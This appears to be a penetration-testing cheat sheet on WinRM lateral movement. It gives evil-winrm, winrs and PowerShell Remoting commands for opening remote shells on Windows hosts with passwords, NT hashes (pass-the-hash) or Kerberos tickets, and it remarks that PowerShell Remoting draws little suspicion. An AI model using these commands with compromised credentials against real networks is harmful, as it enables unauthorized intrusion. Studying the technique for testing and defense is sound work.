WinRM (Windows Remote Managament) for Lateral Movement
Requirements:
- Credentials (password, NT hash, Kerberos TGT) of a member of the local Administrators or Remote Management Users group on the target machine.
- WinRM enabled on target host (enabled by default on Windows Server, disabled by default on client Windows).
- WinRM allowed on firewall (allowed by default).
WinRM is enabled by default on Windows Server 2012 and above. It's disabled by default on client Windows. All of the WinRM communication is over a single port (5985/TCP for HTTP, 5986/TCP for HTTPS). Logon via WinRM is of the Network type (no reusable credentials). However, in Windows built-in tooling there's a way to delegate credentials to established session (below). By default, if you want to use WinRM, you need to be a local administrator on the target machine.
Linux:
# Using password
evil-winrm -i $host -u "$domain\\$user" -p $password
# Using NT hash
evil-winrm -i $host -u "$domain\\$user" -H $nt_hash
# TODO: Using Kerberos TGT
Windows (winrs):
IMPORTANT: Using
winrs
the-r
parameter must be provided as hostname, not an IP address.
# Using password
winrs -r:$hostname -u:$domain\$username -p:$password "cmd.exe"
# Using Kerberos TGT (in-memory)
winrs -r:$hostname "cmd.exe"
PowerShell Remoting
Powershell has built-in ability to run commands remotely on different machines - so-called PowerShell Remoting feature. It's achived using WinRM protocol under the hood. It's commonly used in enterprise management tasks so it's not very suspicious.
Windows:
# Using password
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credentials = New-Object System.Management.Automation.PSCredential $username, $securePassword;
Enter-PSSession -Computername $host -Credential $credentials
# Using Kerberos TGT (in-memory)
Enter-PSSession -ComputerName $host
Enable WinRM with PowerShell
If you have administrative access to the machine (e.g. via SmbExec or RDP) you can activate WinRM with PowerShell.
# All configuration at once (it might take a while)
Enable-PSRemoting